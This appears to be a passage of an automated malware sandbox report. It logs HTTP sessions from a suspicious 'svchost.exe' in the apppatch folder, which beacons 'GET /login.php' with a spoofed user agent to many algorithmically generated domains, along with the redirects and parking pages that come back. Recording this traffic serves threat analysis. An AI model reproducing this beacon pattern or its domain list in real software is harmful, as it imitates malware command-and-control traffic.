Nov 11, 2024 18:50:52.661499977 CET	978	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://lysyvan.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QNgRxi8fN4zf7vGaeTiE1E8IrmJrjeuMbrMQaZFBS4hpjBt6R%2BWjVn7AqhGvdX49X%2BwieJq%2B73kgObOJ8d0gJJ0NQFL34BekHzG1lZfoZl5wcxr1CFKuyLtMDV4Faw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10208918377cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&sent=9&recv=11&lost=0&retrans=0&sent_bytes=1950&recv_bytes=729&delivery_rate=2509532&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:50:54.863095045 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Nov 11, 2024 18:50:55.237633944 CET	979	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://lysyvan.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WDJMvl0svDdqsOf3nEPDc0w9VwTu88NCydkrxGhAhNWyLiSxf%2BONBazXFB26Nm0B8bcG783cw6GmNWB3G8JyvZ4%2FfU3bl7K%2B%2FluiW5ZURwAhEG699PD1THhmejhJXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020992f377cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&sent=13&recv=15&lost=0&retrans=0&sent_bytes=2928&recv_bytes=972&delivery_rate=2509532&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49745	18.208.156.248	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:33.853898048 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com
Nov 11, 2024 18:50:34.292576075 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8d293bb926a50208151153d535bf67ed\|66.23.206.109\|1731347434\|1731347434\|0\|1\|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49746	3.94.10.34	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:33.890563011 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygynud.com
Nov 11, 2024 18:50:34.316792965 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=28f9d138874c3d54e926818f975a604a\|66.23.206.109\|1731347434\|1731347434\|0\|1\|0; path=/; domain=.lygynud.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49753	103.150.10.48	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:34.553677082 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Nov 11, 2024 18:50:35.422513008 CET	404	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.1 Date: Mon, 11 Nov 2024 17:50:35 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
Nov 11, 2024 18:50:36.205785036 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Nov 11, 2024 18:50:36.525111914 CET	404	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.1 Date: Mon, 11 Nov 2024 17:50:36 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
Nov 11, 2024 18:50:52.262926102 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Nov 11, 2024 18:50:52.549405098 CET	404	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.1 Date: Mon, 11 Nov 2024 17:50:52 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
Nov 11, 2024 18:50:52.898982048 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Nov 11, 2024 18:50:53.193872929 CET	404	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.1 Date: Mon, 11 Nov 2024 17:50:53 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49759	106.15.232.163	8000	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:35.432241917 CET	290	OUT	GET /dh/147287063_377283.html HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: 106.15.232.163:8000 Connection: Keep-Alive
Nov 11, 2024 18:50:36.204205990 CET	722	IN	HTTP/1.1 404 Not Found Server: openresty/1.21.4.3 Date: Mon, 11 Nov 2024 17:50:36 GMT Content-Type: text/html Content-Length: 561 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:36.545608044 CET	290	OUT	GET /dh/147287063_377283.html HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: 106.15.232.163:8000 Connection: Keep-Alive
Nov 11, 2024 18:50:36.811590910 CET	722	IN	HTTP/1.1 404 Not Found Server: openresty/1.21.4.3 Date: Mon, 11 Nov 2024 17:50:36 GMT Content-Type: text/html Content-Length: 561 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:52.630358934 CET	290	OUT	GET /dh/147287063_377283.html HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: 106.15.232.163:8000 Connection: Keep-Alive
Nov 11, 2024 18:50:52.897447109 CET	722	IN	HTTP/1.1 404 Not Found Server: openresty/1.21.4.3 Date: Mon, 11 Nov 2024 17:50:52 GMT Content-Type: text/html Content-Length: 561 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:53.195024967 CET	290	OUT	GET /dh/147287063_377283.html HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: 106.15.232.163:8000 Connection: Keep-Alive
Nov 11, 2024 18:50:53.461175919 CET	722	IN	HTTP/1.1 404 Not Found Server: openresty/1.21.4.3 Date: Mon, 11 Nov 2024 17:50:53 GMT Content-Type: text/html Content-Length: 561 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49786	64.225.91.73	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:38.782397985 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com
Nov 11, 2024 18:50:39.332880020 CET	816	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Mon, 11 Nov 2024 17:50:39 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49787	76.223.67.189	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:38.804157019 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com
Nov 11, 2024 18:50:39.231462002 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 11 Nov 2024 17:50:39 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49793	44.221.84.105	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:39.028064966 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com
Nov 11, 2024 18:50:39.457639933 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=75e0b1516d38a999d6d8bc4a9b71df74\|66.23.206.109\|1731347439\|1731347439\|0\|1\|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49794	103.224.212.210	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:39.092050076 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com
